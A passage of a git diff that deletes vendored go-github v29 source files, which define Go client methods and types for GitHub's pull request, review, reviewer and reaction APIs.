nil { - return nil, nil, err - } - - var commitFiles []*CommitFile - resp, err := s.client.Do(ctx, req, &commitFiles) - if err != nil { - return nil, resp, err - } - - return commitFiles, resp, nil -} - -// IsMerged checks if a pull request has been merged. -// -// GitHub API docs: https://developer.github.com/v3/pulls/#get-if-a-pull-request-has-been-merged -func (s *PullRequestsService) IsMerged(ctx context.Context, owner string, repo string, number int) (bool, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/pulls/%d/merge", owner, repo, number) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return false, nil, err - } - - resp, err := s.client.Do(ctx, req, nil) - merged, err := parseBoolResponse(err) - return merged, resp, err -} - -// PullRequestMergeResult represents the result of merging a pull request. -type PullRequestMergeResult struct { - SHA *string `json:"sha,omitempty"` - Merged *bool `json:"merged,omitempty"` - Message *string `json:"message,omitempty"` -} - -// PullRequestOptions lets you define how a pull request will be merged. -type PullRequestOptions struct { - CommitTitle string // Extra detail to append to automatic commit message. (Optional.) - SHA string // SHA that pull request head must match to allow merge. (Optional.) - - // The merge method to use. Possible values include: "merge", "squash", and "rebase" with the default being merge. (Optional.) - MergeMethod string -} - -type pullRequestMergeRequest struct { - CommitMessage string `json:"commit_message"` - CommitTitle string `json:"commit_title,omitempty"` - MergeMethod string `json:"merge_method,omitempty"` - SHA string `json:"sha,omitempty"` -} - -// Merge a pull request (Merge Buttonâ„ĸ). -// commitMessage is the title for the automatic commit message. -// -// GitHub API docs: https://developer.github.com/v3/pulls/#merge-a-pull-request-merge-buttontrade -func (s *PullRequestsService) Merge(ctx context.Context, owner string, repo string, number int, commitMessage string, options *PullRequestOptions) (*PullRequestMergeResult, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/pulls/%d/merge", owner, repo, number) - - pullRequestBody := &pullRequestMergeRequest{CommitMessage: commitMessage} - if options != nil { - pullRequestBody.CommitTitle = options.CommitTitle - pullRequestBody.MergeMethod = options.MergeMethod - pullRequestBody.SHA = options.SHA - } - req, err := s.client.NewRequest("PUT", u, pullRequestBody) - if err != nil { - return nil, nil, err - } - - mergeResult := new(PullRequestMergeResult) - resp, err := s.client.Do(ctx, req, mergeResult) - if err != nil { - return nil, resp, err - } - - return mergeResult, resp, nil -} diff --git a/vendor/github.com/google/go-github/v29/github/pulls_comments.go b/vendor/github.com/google/go-github/v29/github/pulls_comments.go deleted file mode 100644 index 3372e3383e..0000000000 --- a/vendor/github.com/google/go-github/v29/github/pulls_comments.go +++ /dev/null @@ -1,201 +0,0 @@ -// Copyright 2013 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" - "strings" - "time" -) - -// PullRequestComment represents a comment left on a pull request. -type PullRequestComment struct { - ID *int64 `json:"id,omitempty"` - NodeID *string `json:"node_id,omitempty"` - InReplyTo *int64 `json:"in_reply_to_id,omitempty"` - Body *string `json:"body,omitempty"` - Path *string `json:"path,omitempty"` - DiffHunk *string `json:"diff_hunk,omitempty"` - PullRequestReviewID *int64 `json:"pull_request_review_id,omitempty"` - Position *int `json:"position,omitempty"` - OriginalPosition *int `json:"original_position,omitempty"` - StartLine *int `json:"start_line,omitempty"` - Line *int `json:"line,omitempty"` - OriginalLine *int `json:"original_line,omitempty"` - OriginalStartLine *int `json:"original_start_line,omitempty"` - Side *string `json:"side,omitempty"` - StartSide *string `json:"start_side,omitempty"` - CommitID *string `json:"commit_id,omitempty"` - OriginalCommitID *string `json:"original_commit_id,omitempty"` - User *User `json:"user,omitempty"` - Reactions *Reactions `json:"reactions,omitempty"` - CreatedAt *time.Time `json:"created_at,omitempty"` - UpdatedAt *time.Time `json:"updated_at,omitempty"` - // AuthorAssociation is the comment author's relationship to the pull request's repository. - // Possible values are "COLLABORATOR", "CONTRIBUTOR", "FIRST_TIMER", "FIRST_TIME_CONTRIBUTOR", "MEMBER", "OWNER", or "NONE". - AuthorAssociation *string `json:"author_association,omitempty"` - URL *string `json:"url,omitempty"` - HTMLURL *string `json:"html_url,omitempty"` - PullRequestURL *string `json:"pull_request_url,omitempty"` -} - -func (p PullRequestComment) String() string { - return Stringify(p) -} - -// PullRequestListCommentsOptions specifies the optional parameters to the -// PullRequestsService.ListComments method. -type PullRequestListCommentsOptions struct { - // Sort specifies how to sort comments. Possible values are: created, updated. - Sort string `url:"sort,omitempty"` - - // Direction in which to sort comments. Possible values are: asc, desc. - Direction string `url:"direction,omitempty"` - - // Since filters comments by time. - Since time.Time `url:"since,omitempty"` - - ListOptions -} - -// ListComments lists all comments on the specified pull request. Specifying a -// pull request number of 0 will return all comments on all pull requests for -// the repository. -// -// GitHub API docs: https://developer.github.com/v3/pulls/comments/#list-comments-on-a-pull-request -func (s *PullRequestsService) ListComments(ctx context.Context, owner string, repo string, number int, opt *PullRequestListCommentsOptions) ([]*PullRequestComment, *Response, error) { - var u string - if number == 0 { - u = fmt.Sprintf("repos/%v/%v/pulls/comments", owner, repo) - } else { - u = fmt.Sprintf("repos/%v/%v/pulls/%d/comments", owner, repo, number) - } - u, err := addOptions(u, opt) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - acceptHeaders := []string{mediaTypeReactionsPreview, mediaTypeMultiLineCommentsPreview} - req.Header.Set("Accept", strings.Join(acceptHeaders, ", ")) - - var comments []*PullRequestComment - resp, err := s.client.Do(ctx, req, &comments) - if err != nil { - return nil, resp, err - } - - return comments, resp, nil -} - -// GetComment fetches the specified pull request comment. -// -// GitHub API docs: https://developer.github.com/v3/pulls/comments/#get-a-single-comment -func (s *PullRequestsService) GetComment(ctx context.Context, owner string, repo string, commentID int64) (*PullRequestComment, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/pulls/comments/%d", owner, repo, commentID) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - acceptHeaders := []string{mediaTypeReactionsPreview, mediaTypeMultiLineCommentsPreview} - req.Header.Set("Accept", strings.Join(acceptHeaders, ", ")) - - comment := new(PullRequestComment) - resp, err := s.client.Do(ctx, req, comment) - if err != nil { - return nil, resp, err - } - - return comment, resp, nil -} - -// CreateComment creates a new comment on the specified pull request. -// -// GitHub API docs: https://developer.github.com/v3/pulls/comments/#create-a-comment -func (s *PullRequestsService) CreateComment(ctx context.Context, owner string, repo string, number int, comment *PullRequestComment) (*PullRequestComment, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/pulls/%d/comments", owner, repo, number) - req, err := s.client.NewRequest("POST", u, comment) - if err != nil { - return nil, nil, err - } - // TODO: remove custom Accept headers when their respective API fully launches. - acceptHeaders := []string{mediaTypeReactionsPreview, mediaTypeMultiLineCommentsPreview} - req.Header.Set("Accept", strings.Join(acceptHeaders, ", ")) - - c := new(PullRequestComment) - resp, err := s.client.Do(ctx, req, c) - if err != nil { - return nil, resp, err - } - - return c, resp, nil -} - -// CreateCommentInReplyTo creates a new comment as a reply to an existing pull request comment. -// -// GitHub API docs: https://developer.github.com/v3/pulls/comments/#alternative-input -func (s *PullRequestsService) CreateCommentInReplyTo(ctx context.Context, owner string, repo string, number int, body string, commentID int64) (*PullRequestComment, *Response, error) { - comment := &struct { - Body string `json:"body,omitempty"` - InReplyTo int64 `json:"in_reply_to,omitempty"` - }{ - Body: body, - InReplyTo: commentID, - } - u := fmt.Sprintf("repos/%v/%v/pulls/%d/comments", owner, repo, number) - req, err := s.client.NewRequest("POST", u, comment) - if err != nil { - return nil, nil, err - } - - c := new(PullRequestComment) - resp, err := s.client.Do(ctx, req, c) - if err != nil { - return nil, resp, err - } - - return c, resp, nil -} - -// EditComment updates a pull request comment. -// A non-nil comment.Body must be provided. Other comment fields should be left nil. -// -// GitHub API docs: https://developer.github.com/v3/pulls/comments/#edit-a-comment -func (s *PullRequestsService) EditComment(ctx context.Context, owner string, repo string, commentID int64, comment *PullRequestComment) (*PullRequestComment, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/pulls/comments/%d", owner, repo, commentID) - req, err := s.client.NewRequest("PATCH", u, comment) - if err != nil { - return nil, nil, err - } - - c := new(PullRequestComment) - resp, err := s.client.Do(ctx, req, c) - if err != nil { - return nil, resp, err - } - - return c, resp, nil -} - -// DeleteComment deletes a pull request comment. -// -// GitHub API docs: https://developer.github.com/v3/pulls/comments/#delete-a-comment -func (s *PullRequestsService) DeleteComment(ctx context.Context, owner string, repo string, commentID int64) (*Response, error) { - u := fmt.Sprintf("repos/%v/%v/pulls/comments/%d", owner, repo, commentID) - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - return s.client.Do(ctx, req, nil) -} diff --git a/vendor/github.com/google/go-github/v29/github/pulls_reviewers.go b/vendor/github.com/google/go-github/v29/github/pulls_reviewers.go deleted file mode 100644 index beae953c4c..0000000000 --- a/vendor/github.com/google/go-github/v29/github/pulls_reviewers.go +++ /dev/null @@ -1,80 +0,0 @@ -// Copyright 2017 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" -) - -// ReviewersRequest specifies users and teams for a pull request review request. -type ReviewersRequest struct { - NodeID *string `json:"node_id,omitempty"` - Reviewers []string `json:"reviewers,omitempty"` - TeamReviewers []string `json:"team_reviewers,omitempty"` -} - -// Reviewers represents reviewers of a pull request. -type Reviewers struct { - Users []*User `json:"users,omitempty"` - Teams []*Team `json:"teams,omitempty"` -} - -// RequestReviewers creates a review request for the provided reviewers for the specified pull request. -// -// GitHub API docs: https://developer.github.com/v3/pulls/review_requests/#create-a-review-request -func (s *PullRequestsService) RequestReviewers(ctx context.Context, owner, repo string, number int, reviewers ReviewersRequest) (*PullRequest, *Response, error) { - u := fmt.Sprintf("repos/%s/%s/pulls/%d/requested_reviewers", owner, repo, number) - req, err := s.client.NewRequest("POST", u, &reviewers) - if err != nil { - return nil, nil, err - } - - r := new(PullRequest) - resp, err := s.client.Do(ctx, req, r) - if err != nil { - return nil, resp, err - } - - return r, resp, nil -} - -// ListReviewers lists reviewers whose reviews have been requested on the specified pull request. -// -// GitHub API docs: https://developer.github.com/v3/pulls/review_requests/#list-review-requests -func (s *PullRequestsService) ListReviewers(ctx context.Context, owner, repo string, number int, opt *ListOptions) (*Reviewers, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/pulls/%d/requested_reviewers", owner, repo, number) - u, err := addOptions(u, opt) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - reviewers := new(Reviewers) - resp, err := s.client.Do(ctx, req, reviewers) - if err != nil { - return nil, resp, err - } - - return reviewers, resp, nil -} - -// RemoveReviewers removes the review request for the provided reviewers for the specified pull request. -// -// GitHub API docs: https://developer.github.com/v3/pulls/review_requests/#delete-a-review-request -func (s *PullRequestsService) RemoveReviewers(ctx context.Context, owner, repo string, number int, reviewers ReviewersRequest) (*Response, error) { - u := fmt.Sprintf("repos/%s/%s/pulls/%d/requested_reviewers", owner, repo, number) - req, err := s.client.NewRequest("DELETE", u, &reviewers) - if err != nil { - return nil, err - } - - return s.client.Do(ctx, req, nil) -} diff --git a/vendor/github.com/google/go-github/v29/github/pulls_reviews.go b/vendor/github.com/google/go-github/v29/github/pulls_reviews.go deleted file mode 100644 index 88b82982f6..0000000000 --- a/vendor/github.com/google/go-github/v29/github/pulls_reviews.go +++ /dev/null @@ -1,261 +0,0 @@ -// Copyright 2016 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" - "time" -) - -// PullRequestReview represents a review of a pull request. -type PullRequestReview struct { - ID *int64 `json:"id,omitempty"` - NodeID *string `json:"node_id,omitempty"` - User *User `json:"user,omitempty"` - Body *string `json:"body,omitempty"` - SubmittedAt *time.Time `json:"submitted_at,omitempty"` - CommitID *string `json:"commit_id,omitempty"` - HTMLURL *string `json:"html_url,omitempty"` - PullRequestURL *string `json:"pull_request_url,omitempty"` - State *string `json:"state,omitempty"` -} - -func (p PullRequestReview) String() string { - return Stringify(p) -} - -// DraftReviewComment represents a comment part of the review. -type DraftReviewComment struct { - Path *string `json:"path,omitempty"` - Position *int `json:"position,omitempty"` - Body *string `json:"body,omitempty"` -} - -func (c DraftReviewComment) String() string { - return Stringify(c) -} - -// PullRequestReviewRequest represents a request to create a review. -type PullRequestReviewRequest struct { - NodeID *string `json:"node_id,omitempty"` - CommitID *string `json:"commit_id,omitempty"` - Body *string `json:"body,omitempty"` - Event *string `json:"event,omitempty"` - Comments []*DraftReviewComment `json:"comments,omitempty"` -} - -func (r PullRequestReviewRequest) String() string { - return Stringify(r) -} - -// PullRequestReviewDismissalRequest represents a request to dismiss a review. -type PullRequestReviewDismissalRequest struct { - Message *string `json:"message,omitempty"` -} - -func (r PullRequestReviewDismissalRequest) String() string { - return Stringify(r) -} - -// ListReviews lists all reviews on the specified pull request. -// -// TODO: Follow up with GitHub support about an issue with this method's -// returned error format and remove this comment once it's fixed. -// Read more about it here - https://github.com/google/go-github/issues/540 -// -// GitHub API docs: https://developer.github.com/v3/pulls/reviews/#list-reviews-on-a-pull-request -func (s *PullRequestsService) ListReviews(ctx context.Context, owner, repo string, number int, opt *ListOptions) ([]*PullRequestReview, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/pulls/%d/reviews", owner, repo, number) - u, err := addOptions(u, opt) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var reviews []*PullRequestReview - resp, err := s.client.Do(ctx, req, &reviews) - if err != nil { - return nil, resp, err - } - - return reviews, resp, nil -} - -// GetReview fetches the specified pull request review. -// -// TODO: Follow up with GitHub support about an issue with this method's -// returned error format and remove this comment once it's fixed. -// Read more about it here - https://github.com/google/go-github/issues/540 -// -// GitHub API docs: https://developer.github.com/v3/pulls/reviews/#get-a-single-review -func (s *PullRequestsService) GetReview(ctx context.Context, owner, repo string, number int, reviewID int64) (*PullRequestReview, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/pulls/%d/reviews/%d", owner, repo, number, reviewID) - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - review := new(PullRequestReview) - resp, err := s.client.Do(ctx, req, review) - if err != nil { - return nil, resp, err - } - - return review, resp, nil -} - -// DeletePendingReview deletes the specified pull request pending review. -// -// TODO: Follow up with GitHub support about an issue with this method's -// returned error format and remove this comment once it's fixed. -// Read more about it here - https://github.com/google/go-github/issues/540 -// -// GitHub API docs: https://developer.github.com/v3/pulls/reviews/#delete-a-pending-review -func (s *PullRequestsService) DeletePendingReview(ctx context.Context, owner, repo string, number int, reviewID int64) (*PullRequestReview, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/pulls/%d/reviews/%d", owner, repo, number, reviewID) - - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, nil, err - } - - review := new(PullRequestReview) - resp, err := s.client.Do(ctx, req, review) - if err != nil { - return nil, resp, err - } - - return review, resp, nil -} - -// ListReviewComments lists all the comments for the specified review. -// -// TODO: Follow up with GitHub support about an issue with this method's -// returned error format and remove this comment once it's fixed. -// Read more about it here - https://github.com/google/go-github/issues/540 -// -// GitHub API docs: https://developer.github.com/v3/pulls/reviews/#get-comments-for-a-single-review -func (s *PullRequestsService) ListReviewComments(ctx context.Context, owner, repo string, number int, reviewID int64, opt *ListOptions) ([]*PullRequestComment, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/pulls/%d/reviews/%d/comments", owner, repo, number, reviewID) - u, err := addOptions(u, opt) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var comments []*PullRequestComment - resp, err := s.client.Do(ctx, req, &comments) - if err != nil { - return nil, resp, err - } - - return comments, resp, nil -} - -// CreateReview creates a new review on the specified pull request. -// -// TODO: Follow up with GitHub support about an issue with this method's -// returned error format and remove this comment once it's fixed. -// Read more about it here - https://github.com/google/go-github/issues/540 -// -// GitHub API docs: https://developer.github.com/v3/pulls/reviews/#create-a-pull-request-review -func (s *PullRequestsService) CreateReview(ctx context.Context, owner, repo string, number int, review *PullRequestReviewRequest) (*PullRequestReview, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/pulls/%d/reviews", owner, repo, number) - - req, err := s.client.NewRequest("POST", u, review) - if err != nil { - return nil, nil, err - } - - r := new(PullRequestReview) - resp, err := s.client.Do(ctx, req, r) - if err != nil { - return nil, resp, err - } - - return r, resp, nil -} - -// UpdateReview updates the review summary on the specified pull request. -// -// GitHub API docs: https://developer.github.com/v3/pulls/reviews/#update-a-pull-request-review -func (s *PullRequestsService) UpdateReview(ctx context.Context, owner, repo string, number int, reviewID int64, body string) (*PullRequestReview, *Response, error) { - opts := &struct { - Body string `json:"body"` - }{Body: body} - u := fmt.Sprintf("repos/%v/%v/pulls/%d/reviews/%d", owner, repo, number, reviewID) - - req, err := s.client.NewRequest("PUT", u, opts) - if err != nil { - return nil, nil, err - } - - review := &PullRequestReview{} - resp, err := s.client.Do(ctx, req, review) - if err != nil { - return nil, resp, err - } - - return review, resp, nil -} - -// SubmitReview submits a specified review on the specified pull request. -// -// TODO: Follow up with GitHub support about an issue with this method's -// returned error format and remove this comment once it's fixed. -// Read more about it here - https://github.com/google/go-github/issues/540 -// -// GitHub API docs: https://developer.github.com/v3/pulls/reviews/#submit-a-pull-request-review -func (s *PullRequestsService) SubmitReview(ctx context.Context, owner, repo string, number int, reviewID int64, review *PullRequestReviewRequest) (*PullRequestReview, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/pulls/%d/reviews/%d/events", owner, repo, number, reviewID) - - req, err := s.client.NewRequest("POST", u, review) - if err != nil { - return nil, nil, err - } - - r := new(PullRequestReview) - resp, err := s.client.Do(ctx, req, r) - if err != nil { - return nil, resp, err - } - - return r, resp, nil -} - -// DismissReview dismisses a specified review on the specified pull request. -// -// TODO: Follow up with GitHub support about an issue with this method's -// returned error format and remove this comment once it's fixed. -// Read more about it here - https://github.com/google/go-github/issues/540 -// -// GitHub API docs: https://developer.github.com/v3/pulls/reviews/#dismiss-a-pull-request-review -func (s *PullRequestsService) DismissReview(ctx context.Context, owner, repo string, number int, reviewID int64, review *PullRequestReviewDismissalRequest) (*PullRequestReview, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/pulls/%d/reviews/%d/dismissals", owner, repo, number, reviewID) - - req, err := s.client.NewRequest("PUT", u, review) - if err != nil { - return nil, nil, err - } - - r := new(PullRequestReview) - resp, err := s.client.Do(ctx, req, r) - if err != nil { - return nil, resp, err - } - - return r, resp, nil -} diff --git a/vendor/github.com/google/go-github/v29/github/reactions.go b/vendor/github.com/google/go-github/v29/github/reactions.go deleted file mode 100644 index 1935ce1117..0000000000 --- a/vendor/github.com/google/go-github/v29/github/reactions.go +++ /dev/null @@ -1,388 +0,0 @@ -// Copyright 2016 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" -) - -// ReactionsService provides access to the reactions-related functions in the -// GitHub API. -// -// GitHub API docs: https://developer.github.com/v3/reactions/ -type ReactionsService service - -// Reaction represents a GitHub reaction. -type Reaction struct { - // ID is the Reaction ID. - ID *int64 `json:"id,omitempty"` - User *User `json:"user,omitempty"` - NodeID *string `json:"node_id,omitempty"` - // Content is the type of reaction. - // Possible values are: - // "+1", "-1", "laugh", "confused", "heart", "hooray". - Content *string `json:"content,omitempty"` -} - -// Reactions represents a summary of GitHub reactions. -type Reactions struct { - TotalCount *int `json:"total_count,omitempty"` - PlusOne *int `json:"+1,omitempty"` - MinusOne *int `json:"-1,omitempty"` - Laugh *int `json:"laugh,omitempty"` - Confused *int `json:"confused,omitempty"` - Heart *int `json:"heart,omitempty"` - Hooray *int `json:"hooray,omitempty"` - URL *string `json:"url,omitempty"` -} - -func (r Reaction) String() string { - return Stringify(r) -} - -// ListCommentReactionOptions specifies the optional parameters to the -// ReactionsService.ListCommentReactions method. -type ListCommentReactionOptions struct { - // Content restricts the returned comment reactions to only those with the given type. - // Omit this parameter to list all reactions to a commit comment. - // Possible values are: "+1", "-1", "laugh", "confused", "heart", "hooray", "rocket", or "eyes". - Content string `url:"content,omitempty"` - - ListOptions -} - -// ListCommentReactions lists the reactions for a commit comment. -// -// GitHub API docs: https://developer.github.com/v3/reactions/#list-reactions-for-a-commit-comment -func (s *ReactionsService) ListCommentReactions(ctx context.Context, owner, repo string, id int64, opt *ListCommentReactionOptions) ([]*Reaction, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/comments/%v/reactions", owner, repo, id) - u, err := addOptions(u, opt) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept headers when APIs fully launch. - req.Header.Set("Accept", mediaTypeReactionsPreview) - - var m []*Reaction - resp, err := s.client.Do(ctx, req, &m) - if err != nil { - return nil, resp, err - } - - return m, resp, nil -} - -// CreateCommentReaction creates a reaction for a commit comment. -// Note that if you have already created a reaction of type content, the -// previously created reaction will be returned with Status: 200 OK. -// The content should have one of the following values: "+1", "-1", "laugh", "confused", "heart", "hooray". -// -// GitHub API docs: https://developer.github.com/v3/reactions/#create-reaction-for-a-commit-comment -func (s ReactionsService) CreateCommentReaction(ctx context.Context, owner, repo string, id int64, content string) (*Reaction, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/comments/%v/reactions", owner, repo, id) - - body := &Reaction{Content: String(content)} - req, err := s.client.NewRequest("POST", u, body) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept headers when APIs fully launch. - req.Header.Set("Accept", mediaTypeReactionsPreview) - - m := &Reaction{} - resp, err := s.client.Do(ctx, req, m) - if err != nil { - return nil, resp, err - } - - return m, resp, nil -} - -// ListIssueReactions lists the reactions for an issue. -// -// GitHub API docs: https://developer.github.com/v3/reactions/#list-reactions-for-an-issue -func (s *ReactionsService) ListIssueReactions(ctx context.Context, owner, repo string, number int, opt *ListOptions) ([]*Reaction, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/issues/%v/reactions", owner, repo, number) - u, err := addOptions(u, opt) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept headers when APIs fully launch. - req.Header.Set("Accept", mediaTypeReactionsPreview) - - var m []*Reaction - resp, err := s.client.Do(ctx, req, &m) - if err != nil { - return nil, resp, err - } - - return m, resp, nil -} - -// CreateIssueReaction creates a reaction for an issue. -// Note that if you have already created a reaction of type content, the -// previously created reaction will be returned with Status: 200 OK. -// The content should have one of the following values: "+1", "-1", "laugh", "confused", "heart", "hooray". -// -// GitHub API docs: https://developer.github.com/v3/reactions/#create-reaction-for-an-issue -func (s ReactionsService) CreateIssueReaction(ctx context.Context, owner, repo string, number int, content string) (*Reaction, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/issues/%v/reactions", owner, repo, number) - - body := &Reaction{Content: String(content)} - req, err := s.client.NewRequest("POST", u, body) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept headers when APIs fully launch. - req.Header.Set("Accept", mediaTypeReactionsPreview) - - m := &Reaction{} - resp, err := s.client.Do(ctx, req, m) - if err != nil { - return nil, resp, err - } - - return m, resp, nil -} - -// ListIssueCommentReactions lists the reactions for an issue comment. -// -// GitHub API docs: https://developer.github.com/v3/reactions/#list-reactions-for-an-issue-comment -func (s *ReactionsService) ListIssueCommentReactions(ctx context.Context, owner, repo string, id int64, opt *ListOptions) ([]*Reaction, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/issues/comments/%v/reactions", owner, repo, id) - u, err := addOptions(u, opt) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept headers when APIs fully launch. - req.Header.Set("Accept", mediaTypeReactionsPreview) - - var m []*Reaction - resp, err := s.client.Do(ctx, req, &m) - if err != nil { - return nil, resp, err - } - - return m, resp, nil -} - -// CreateIssueCommentReaction creates a reaction for an issue comment. -// Note that if you have already created a reaction of type content, the -// previously created reaction will be returned with Status: 200 OK. -// The content should have one of the following values: "+1", "-1", "laugh", "confused", "heart", "hooray". -// -// GitHub API docs: https://developer.github.com/v3/reactions/#create-reaction-for-an-issue-comment -func (s ReactionsService) CreateIssueCommentReaction(ctx context.Context, owner, repo string, id int64, content string) (*Reaction, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/issues/comments/%v/reactions", owner, repo, id) - - body := &Reaction{Content: String(content)} - req, err := s.client.NewRequest("POST", u, body) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept headers when APIs fully launch. - req.Header.Set("Accept", mediaTypeReactionsPreview) - - m := &Reaction{} - resp, err := s.client.Do(ctx, req, m) - if err != nil { - return nil, resp, err - } - - return m, resp, nil -} - -// ListPullRequestCommentReactions lists the reactions for a pull request review comment. -// -// GitHub API docs: https://developer.github.com/v3/reactions/#list-reactions-for-an-issue-comment -func (s *ReactionsService) ListPullRequestCommentReactions(ctx context.Context, owner, repo string, id int64, opt *ListOptions) ([]*Reaction, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/pulls/comments/%v/reactions", owner, repo, id) - u, err := addOptions(u, opt) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept headers when APIs fully launch. - req.Header.Set("Accept", mediaTypeReactionsPreview) - - var m []*Reaction - resp, err := s.client.Do(ctx, req, &m) - if err != nil { - return nil, resp, err - } - - return m, resp, nil -} - -// CreatePullRequestCommentReaction creates a reaction for a pull request review comment. -// Note that if you have already created a reaction of type content, the -// previously created reaction will be returned with Status: 200 OK. -// The content should have one of the following values: "+1", "-1", "laugh", "confused", "heart", "hooray". -// -// GitHub API docs: https://developer.github.com/v3/reactions/#create-reaction-for-an-issue-comment -func (s ReactionsService) CreatePullRequestCommentReaction(ctx context.Context, owner, repo string, id int64, content string) (*Reaction, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/pulls/comments/%v/reactions", owner, repo, id) - - body := &Reaction{Content: String(content)} - req, err := s.client.NewRequest("POST", u, body) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept headers when APIs fully launch. - req.Header.Set("Accept", mediaTypeReactionsPreview) - - m := &Reaction{} - resp, err := s.client.Do(ctx, req, m) - if err != nil { - return nil, resp, err - } - - return m, resp, nil -} - -// ListTeamDiscussionReactions lists the reactions for a team discussion. -// -// GitHub API docs: https://developer.github.com/v3/reactions/#list-reactions-for-a-team-discussion -func (s *ReactionsService) ListTeamDiscussionReactions(ctx context.Context, teamID int64, discussionNumber int, opt *ListOptions) ([]*Reaction, *Response, error) { - u := fmt.Sprintf("teams/%v/discussions/%v/reactions", teamID, discussionNumber) - u, err := addOptions(u, opt) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - req.Header.Set("Accept", mediaTypeReactionsPreview) - - var m []*Reaction - resp, err := s.client.Do(ctx, req, &m) - if err != nil { - return nil, resp, err - } - - return m, resp, nil -} - -// CreateTeamDiscussionReaction creates a reaction for a team discussion. -// The content should have one of the following values: "+1", "-1", "laugh", "confused", "heart", "hooray". -// -// GitHub API docs: https://developer.github.com/v3/reactions/#create-reaction-for-a-team-discussion -func (s *ReactionsService) CreateTeamDiscussionReaction(ctx context.Context, teamID int64, discussionNumber int, content string) (*Reaction, *Response, error) { - u := fmt.Sprintf("teams/%v/discussions/%v/reactions", teamID, discussionNumber) - - body := &Reaction{Content: String(content)} - req, err := s.client.NewRequest("POST", u, body) - if err != nil { - return nil, nil, err - } - - req.Header.Set("Accept", mediaTypeReactionsPreview) - - m := &Reaction{} - resp, err := s.client.Do(ctx, req, m) - if err != nil { - return nil, resp, err - } - - return m, resp, nil -} - -// ListTeamDiscussionCommentReactions lists the reactions for a team discussion comment. -// -// GitHub API docs: https://developer.github.com/v3/reactions/#list-reactions-for-a-team-discussion-comment -func (s *ReactionsService) ListTeamDiscussionCommentReactions(ctx context.Context, teamID int64, discussionNumber, commentNumber int, opt *ListOptions) ([]*Reaction, *Response, error) { - u := fmt.Sprintf("teams/%v/discussions/%v/comments/%v/reactions", teamID, discussionNumber, commentNumber) - u, err := addOptions(u, opt) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - req.Header.Set("Accept", mediaTypeReactionsPreview) - - var m []*Reaction - resp, err := s.client.Do(ctx, req, &m) - if err != nil { - return nil, nil, err - } - return m, resp, nil -} - -// CreateTeamDiscussionCommentReaction creates a reaction for a team discussion comment. -// The content should have one of the following values: "+1", "-1", "laugh", "confused", "heart", "hooray". -// -// GitHub API docs: https://developer.github.com/v3/reactions/#create-reaction-for-a-team-discussion-comment -func (s *ReactionsService) CreateTeamDiscussionCommentReaction(ctx context.Context, teamID int64, discussionNumber, commentNumber int, content string) (*Reaction, *Response, error) { - u := fmt.Sprintf("teams/%v/discussions/%v/comments/%v/reactions", teamID, discussionNumber, commentNumber) - - body := &Reaction{Content: String(content)} - req, err := s.client.NewRequest("POST", u, body) - if err != nil { - return nil, nil, err - } - - req.Header.Set("Accept", mediaTypeReactionsPreview) - - m := &Reaction{} - resp, err := s.client.Do(ctx, req, m) - if err != nil { - return nil, resp, err - } - - return m, resp, nil -} - -// DeleteReaction 